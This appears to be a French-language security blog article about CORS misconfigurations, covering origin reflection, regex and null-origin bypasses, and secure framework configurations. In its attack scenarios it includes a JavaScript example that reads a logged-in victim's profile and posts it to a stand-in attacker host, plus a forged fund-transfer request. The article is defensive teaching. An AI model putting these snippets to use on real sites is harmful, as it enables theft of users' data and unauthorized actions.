Security
9 min read
2260 views

CORS de Confusion : Comment une entête mal configurée peut compromettre votre sécurité

IT
InstaTunnel Team
Published by our engineering team
CORS de Confusion : Comment une entête mal configurée peut compromettre votre sécurité

Cross-Origin Resource Sharing (CORS) est l’une de ces technologies que les développeurs implémentent souvent à la va-vite, en copiant des configurations depuis Stack Overflow juste pour faire disparaître cette erreur de navigateur agaçante. Mais que diriez-vous si je vous disais que votre solution rapide — cette entête Access-Control-Allow-Origin: * apparemment innocente — pourrait en réalité démanteler silencieusement toute votre architecture de sécurité ?

Dans ce guide complet, nous plongerons en profondeur dans les mauvaises configurations CORS, explorerons comment elles peuvent contourner totalement la Politique de même origine (Same-Origin Policy), et apprendrons comment implémenter CORS correctement sans transformer votre API en un buffet ouvert pour des acteurs malveillants.

Comprendre la Fondation : Qu’est-ce que CORS et pourquoi existe-t-il ?

Avant d’aborder les pièges de sécurité, établissons une base solide. CORS est un mécanisme de sécurité du navigateur qui permet aux serveurs de spécifier explicitement quels origines (domaines) sont autorisées à accéder à leurs ressources. Il est construit au-dessus de la Politique de même origine (SOP), qui est l’une des fonctionnalités de sécurité fondamentales du web.

La Politique de même origine empêche les scripts s’exécutant sur une origine d’accéder aux données d’une autre origine. Une origine est définie par la combinaison du protocole (http/https), du domaine (exemple.com) et du port (80, 443, etc.). Sans SOP, un site malveillant pourrait faire des requêtes authentifiées à votre API bancaire en utilisant vos cookies de session existants et voler vos données financières.

CORS fournit un moyen contrôlé de relâcher ces restrictions lorsque la communication inter-origines légitime est nécessaire. Lorsqu’un navigateur effectue une requête inter-origines, il inclut un en-tête Origin. Le serveur répond alors avec des en-têtes CORS qui indiquent au navigateur s’il doit autoriser la requête.

L’anatomie d’une requête CORS

Il existe deux types de requêtes CORS : les requêtes simples et les requêtes pré-vol.

Les requêtes simples sont faites directement et incluent : - les méthodes GET, HEAD ou POST - certains en-têtes (Accept, Accept-Language, Content-Language, Content-Type avec des valeurs spécifiques) - Content-Type de application/x-www-form-urlencoded, multipart/form-data ou text/plain

Les requêtes pré-vol sont plus complexes. Le navigateur envoie d’abord une requête OPTIONS pour vérifier si la requête réelle est sûre à envoyer. Cela se produit lorsque : - utilisation de méthodes comme PUT, DELETE ou PATCH - inclusion d’en-têtes personnalisés - utilisation d’un Content-Type autre que ceux autorisés pour les requêtes simples

Le serveur répond à cette pré-vol avec des en-têtes indiquant ce qui est autorisé : - Access-Control-Allow-Origin : quels origines peuvent accéder à la ressource - Access-Control-Allow-Methods : quelles méthodes HTTP sont permises - Access-Control-Allow-Headers : quels en-têtes personnalisés peuvent être envoyés - Access-Control-Allow-Credentials : si les identifiants (cookies, en-têtes d’autorisation) peuvent être inclus

La combinaison dangereuse : Origines avec joker (*) et identifiants

Voici où les choses deviennent périlleuses. Beaucoup de développeurs, face à des erreurs CORS, mettent en œuvre ce qui semble une solution simple :

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Voici le fait critique : cette combinaison est en réalité interdite par la spécification CORS. Les navigateurs rejetteront les réponses qui incluent à la fois un origine joker et Access-Control-Allow-Credentials à true. C’est une mesure de sécurité délibérée.

Cependant, le vrai danger réside dans des implémentations bien intentionnées mais erronées qui tentent de contourner cette restriction. Beaucoup de développeurs mettent en œuvre une réflexion dynamique de l’origine — où le serveur reflète l’origine de la requête :

# CODE DANGEREUX - À NE PAS UTILISER
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'

Cette configuration est fonctionnellement équivalente à autoriser toutes les origines avec des identifiants, démolissant effectivement la protection de la Politique de même origine.

Scénarios d’attaque réels

Examinons comment un attaquant peut exploiter ces mauvaises configurations.

Scénario 1 : Exfiltration de données authentifiées

Imaginez que vous avez construit une API à api.votresociete.com avec une politique CORS permissive qui reflète n’importe quelle origine et autorise les identifiants. Votre API possède un point de terminaison /api/utilisateur/profil qui renvoie des informations sensibles de l’utilisateur.

Un attaquant crée un site malveillant à evil.com avec ce JavaScript :

fetch('https://api.votresociete.com/api/utilisateur/profil', {
  method: 'GET',
  credentials: 'include'  // Inclut les cookies
})
.then(response => response.json())
.then(data => {
  // Envoie les données volées au serveur de l'attaquant
  fetch('https://attacker.com/vol', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Lorsqu’un utilisateur légitime visite evil.com tout en étant connecté à votre application, voici ce qui se passe :

  1. Le navigateur de la victime effectue une requête vers votre API
  2. Le navigateur inclut automatiquement les cookies d’authentification
  3. Votre serveur voit l’en-tête Origin: https://evil.com
  4. Votre politique CORS mal configurée reflète cette origine
  5. Votre serveur définit Access-Control-Allow-Credentials: true
  6. Le script malveillant peut lire la réponse
  7. L’attaquant exfiltre avec succès les données de l’utilisateur

La victime ne sait jamais que ses données ont été volées. L’attaque est silencieuse, invisible et dévastatrice.

Scénario 2 : Opérations modifiant l’état

Les mauvaises configurations CORS ne concernent pas seulement la lecture de données — elles peuvent permettre à des attaquants d’effectuer des actions au nom des utilisateurs. Considérez un point de terminaison /api/transferer-fonds :

fetch('https://api.banking-example.com/api/transferer-fonds', {
  method: 'POST',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    destinataire: 'compte-attaquant',
    montant: 10000
  })
})

Avec une politique CORS permissive, un attaquant peut exécuter des actions authentifiées en utilisant les identifiants de la victime. Contrairement aux attaques CSRF traditionnelles (qui peuvent être atténuées avec des tokens CSRF), les mauvaises configurations CORS permettent à l’attaquant de lire les réponses, ce qui les rend beaucoup plus dangereuses.

Modèles courants de mauvaise configuration

Au-delà du problème évident du joker, plusieurs mauvaises configurations subtiles peuvent créer des vulnérabilités de sécurité.

Modèle 1 : Contournement par regex

Certains développeurs tentent de mettre en liste blanche des domaines avec des expressions régulières mais les implémentent incorrectement :

# CODE VULNÉRABLE
import re
allowed_pattern = r'^https://.*\.votresociete\.com$'
origin = request.headers.get('Origin')
if re.match(allowed_pattern, origin):
    response.headers['Access-Control-Allow-Origin'] = origin

Un attaquant peut enregistrer un domaine comme votresociete.com.evil.com et contourner cette vérification car le motif regex ne fixe pas correctement la partie domaine.

Modèle 2 : Acceptation de l’origine null

Certaines implémentations autorisent l’origine null, ce qui semble inoffensif mais peut être exploité :

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Les attaquants peuvent générer des requêtes avec une origine null en utilisant des iframes sandboxées ou des chaînes de redirection, leur permettant de contourner les vérifications d’origine.

Modèle 3 : Confiance aveugle aux sous-domaines

Faire confiance automatiquement à tous les sous-domaines peut être dangereux :

# CODE RISQUÉ
origin = request.headers.get('Origin')
if origin.endswith('.votresociete.com'):
    response.headers['Access-Control-Allow-Origin'] = origin

Si un attaquant trouve une vulnérabilité XSS dans un sous-domaine (y compris des environnements de staging oubliés ou des sous-domaines de contenu généré par l’utilisateur), il peut l’utiliser pour attaquer votre API principale.

L’impact : Plus que du vol de données

Les mauvaises configurations CORS ont été exploitées dans des attaques réelles avec de graves conséquences. Des avis de sécurité récents ont mis en évidence des vulnérabilités dans diverses applications et frameworks où des configurations CORS faibles ont permis un accès non autorisé.

Les impacts incluent :

  • Fuites de données : informations sensibles, données personnelles, secrets d’entreprise
  • Prise de contrôle de comptes : les attaquants peuvent lire des tokens d’authentification ou des informations de session
  • Transactions non autorisées : les applications financières sont particulièrement à risque
  • Violations de conformité : GDPR, HIPAA, et autres réglementations exigent une protection adéquate des données
  • Dommages à la réputation : les violations de sécurité érodent la confiance des clients

Des rapports CVE récents, y compris des vulnérabilités dans des frameworks comme Flask-CORS, montrent que même des bibliothèques populaires peuvent avoir des failles de sécurité liées à CORS nécessitant des correctifs.

Sécuriser votre configuration CORS : Bonnes pratiques

Maintenant que nous comprenons les risques, voyons comment implémenter CORS en toute sécurité.

1. Maintenir une liste blanche explicite

Ne jamais utiliser de jokers ou refléter dynamiquement les origines. Au lieu de cela, maintenez une liste blanche stricte :

ALLOWED_ORIGINS = [
    'https://www.votresociete.com',
    'https://app.votresociete.com',
    'https://mobile.votresociete.com'
]

origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
else:
    # Ne pas définir d'en-têtes CORS pour les origines non autorisées
    pass

2. Utiliser une correspondance exacte

Évitez les expressions régulières sauf si absolument nécessaire. Si vous devez les utiliser, faites très attention :

import re

# Bon : correspondance exacte du domaine
allowed_pattern = r'^https://([a-z0-9-]+\.)?votresociete\.com$'

# Assurez-vous que le motif est bien ancré et testé
origin = request.headers.get('Origin')
if re.fullmatch(allowed_pattern, origin):  # Utilisez fullmatch, pas match
    response.headers['Access-Control-Allow-Origin'] = origin

3. Séparer API publique et privée

Si vous avez à la fois des ressources publiques (qui ne nécessitent pas d’authentification) et privées, utilisez des points de terminaison ou sous-domaines séparés :

  • API publique : public-api.votresociete.com — Peut utiliser Access-Control-Allow-Origin: * sans credentials
  • API privée : api.votresociete.com — Utilise une liste blanche stricte avec credentials

4. Mettre en œuvre une authentification appropriée

Ne vous fiez pas uniquement à CORS pour la sécurité. Implémentez une authentification et une autorisation robustes :

  • Utilisez des tokens à courte durée de vie plutôt que des cookies de session longue durée
  • Mettez en œuvre une protection CSRF appropriée pour les opérations modifiant l’état
  • Validez et autorisez chaque requête côté serveur
  • Envisagez l’utilisation de tokens JWT avec des claims appropriés

5. Auditez régulièrement votre configuration CORS

La sécurité n’est pas une configuration unique. Des audits réguliers doivent inclure :

  • La revue de toutes les origines autorisées
  • La vérification des domaines obsolètes ou inutilisés
  • La test de la configuration CORS avec des outils de sécurité
  • La surveillance des requêtes inter-origines suspectes
  • La mise à jour des frameworks et bibliothèques

6. Utiliser des en-têtes de sécurité en complément

CORS fonctionne mieux dans une approche de sécurité en couches :

Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains

Tester votre configuration CORS

Avant de déployer en production, testez minutieusement votre implémentation CORS :

Test manuel

Utilisez les outils de développement du navigateur ou curl :

curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: GET" \
     -H "Access-Control-Request-Headers: Content-Type" \
     -X OPTIONS \
     https://api.votresociete.com/api/utilisateur/profil

Vérifiez les en-têtes de réponse. Une configuration sécurisée ne doit pas définir Access-Control-Allow-Origin pour des origines non autorisées.

Test automatisé

Les outils de test de sécurité peuvent aider à identifier les mauvaises configurations CORS. Plusieurs chercheurs en bug bounty ont signalé avoir trouvé des vulnérabilités CORS en 2025, soulignant que ces problèmes restent courants et précieux à détecter rapidement.

Envisager des programmes de bug bounty

Les mauvaises configurations CORS sont souvent découvertes via des programmes de bug bounty. Envisagez de mettre en place un programme de divulgation responsable pour identifier les problèmes avant que des acteurs malveillants ne le fassent.

Considérations spécifiques aux frameworks

Différents frameworks gèrent CORS différemment. Voici des configurations sécurisées pour des frameworks populaires :

Express.js (Node.js) :

const cors = require('cors');

const corsOptions = {
  origin: ['https://www.votresociete.com', 'https://app.votresociete.com'],
  credentials: true,
  optionsSuccessStatus: 200
};

app.use(cors(corsOptions));

Django (Python) :

CORS_ALLOWED_ORIGINS = [
    "https://www.votresociete.com",
    "https://app.votresociete.com",
]
CORS_ALLOW_CREDENTIALS = True

Spring Boot (Java) :

@Configuration
public class CorsConfig {
    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/api/**")
                    .allowedOrigins("https://www.votresociete.com")
                    .allowCredentials(true);
            }
        };
    }
}

La voie à suivre : la sécurité par conception

Les mauvaises configurations CORS représentent un mélange parfait de commodité, complexité et conséquences. La pression pour “juste faire fonctionner” conduit souvent les développeurs à implémenter des politiques trop permissives sans comprendre pleinement les implications en matière de sécurité.

Les points clés à retenir :

  1. Ne jamais refléter dynamiquement les origines sans validation stricte contre une liste blanche explicite
  2. Comprendre que CORS n’est pas une fonctionnalité de sécurité — c’est une relaxation de la politique de sécurité par défaut du navigateur
  3. Mettre en œuvre une défense en profondeur : CORS n’est qu’une couche ; combinez-la avec une authentification, une autorisation et des en-têtes de sécurité appropriés
  4. Auditez et testez régulièrement votre configuration CORS dans le cadre de votre programme de sécurité
  5. Restez informé des vulnérabilités émergentes et des meilleures pratiques en matière de sécurité

Les mauvaises configurations CORS continuent d’être découvertes et exploitées dans les applications modernes. En comprenant les mécanismes sous-jacents et en suivant des pratiques d’implémentation sécurisées, vous pouvez tirer parti de la communication inter-origines sans compromettre la sécurité de vos utilisateurs.

Souvenez-vous : en sécurité, la commodité est souvent l’ennemi de la sécurité. Ces quelques lignes de code supplémentaires pour mettre en place une liste blanche appropriée peuvent sembler fastidieuses, mais elles constituent la barrière entre les données de vos utilisateurs et les attaquants potentiels. Ne laissez pas la confusion CORS ouvrir une brèche dans votre sécurité — configurez-la soigneusement, testez-la en profondeur et maintenez-la vigilante.


Avez-vous découvert des mauvaises configurations CORS lors de vos audits de sécurité ? La communauté de la sécurité continue de découvrir ces vulnérabilités via des programmes de bug bounty et des divulgations responsables. Restez vigilant, sécurisez vos configurations, et priorisez toujours la sécurité de vos utilisateurs.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#CORS misconfiguration, Cross-Origin Resource Sharing, CORS security vulnerability, Access-Control-Allow-Origin, CORS attack, Same-Origin Policy, SOP bypass, CORS exploitation, web API security, RESTful API security, CORS headers security, Access-Control-Allow-Credentials, CORS preflight request, origin validation, CORS whitelist, secure CORS configuration, CORS best practices, API authentication security, cross-origin attacks, CORS data exfiltration, credential theft, session hijacking, CORS bypass techniques, web application security, browser security policy, HTTP security headers, CORS middleware, origin reflection attack, wildcard origin vulnerability, CORS null origin, regex bypass vulnerability, subdomain security, XSS and CORS, CSRF vs CORS, authentication bypass, API exploitation techniques, CORS testing, security audit CORS, CORS vulnerability scanner, penetration testing CORS, OWASP security, web security vulnerabilities, API hardening, defense in depth, security misconfiguration, CORS implementation guide, Express.js CORS, Node.js CORS security, Django CORS configuration, Django CORS whitelist, Spring Boot CORS, Spring Security CORS, Flask-CORS vulnerability, React CORS issues, Angular CORS configuration, Vue.js CORS, FastAPI CORS security, Laravel CORS, ASP.NET Core CORS, Rails CORS security, PHP CORS configuration, JavaScript security, frontend security, backend security, full-stack security, microservices security, serverless API security, cloud API security, AWS API Gateway CORS, Azure API CORS, Google Cloud CORS, REST API security, GraphQL CORS, webhook security, third-party API integration, mobile API security, SPA security, single page application security, progressive web app security, CORS error fix, CORS debugging, browser developer tools, CORS troubleshooting, CORS configuration examples, secure API development, API security checklist, web security checklist, CORS security audit, CORS compliance, GDPR compliance API, HIPAA API security, PCI DSS compliance, data protection API, privacy regulations, fintech API security, healthcare API security, banking API security, payment gateway security, e-commerce API security, SaaS security, enterprise API security, CORS CVE vulnerabilities, CORS security advisories, bug bounty CORS, responsible disclosure, security researcher, ethical hacking, white hat hacking, cybersecurity best practices, application security, AppSec, DevSecOps, secure SDLC, security by design, threat modeling, vulnerability assessment, security testing, SAST DAST, API security testing, Burp Suite CORS, OWASP ZAP, security tools, CORS attack vectors, privilege escalation, lateral movement, data breach prevention, incident response, security monitoring, SOC analyst, blue team defense, red team testing, adversary simulation, attack surface reduction, zero trust architecture, API gateway security, service mesh security, Kubernetes API security, Docker API security, container security, CI/CD security, pipeline security, infrastructure security, network security, endpoint security, identity and access management, IAM security, OAuth CORS, JWT security, token-based authentication, API key security, bearer token security, certificate pinning, TLS security, HTTPS enforcement, secure communication, encrypted API, data in transit, confidentiality integrity availability, CIA triad, risk assessment, security posture, compliance audit, security framework, NIST cybersecurity, ISO 27001, security standards, web security training, developer security training, secure coding practices, code review security, static analysis, dynamic analysis, runtime protection, WAF configuration, web application firewall, rate limiting, DDoS protection, bot protection, API throttling, security headers best practices, Content-Security-Policy, X-Frame-Options, HSTS, security header scanner, Mozilla Observatory, Security Headers, Qualys SSL Labs, vulnerability disclosure, CVE database, NVD, exploit database, security blog, InfoSec, cybersecurity news, security conference, Black Hat, DEF CON, OWASP events, security community, Stack Overflow security, GitHub security, npm security, package vulnerability, dependency scanning, supply chain security, software composition analysis, open source security, library vulnerabilities, patch management, security updates, version control security, Git security, secrets management, credential scanning, API documentation security, Swagger security, OpenAPI security, Postman security, API testing security, integration testing security, end-to-end testing security, security regression testing, continuous security, shift left security, security automation, security orchestration, SOAR platform, threat intelligence, security analytics, log analysis, SIEM integration, security metrics, KPI security, security dashboard, risk management, security governance, security policy, security awareness, phishing prevention, social engineering, insider threat, access control, principle of least privilege, separation of duties, security architecture, reference architecture, security patterns, anti-patterns, security debt, technical debt security, legacy system security, modernization security, cloud migration security, digital transformation security, API economy security, platform security, ecosystem security

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles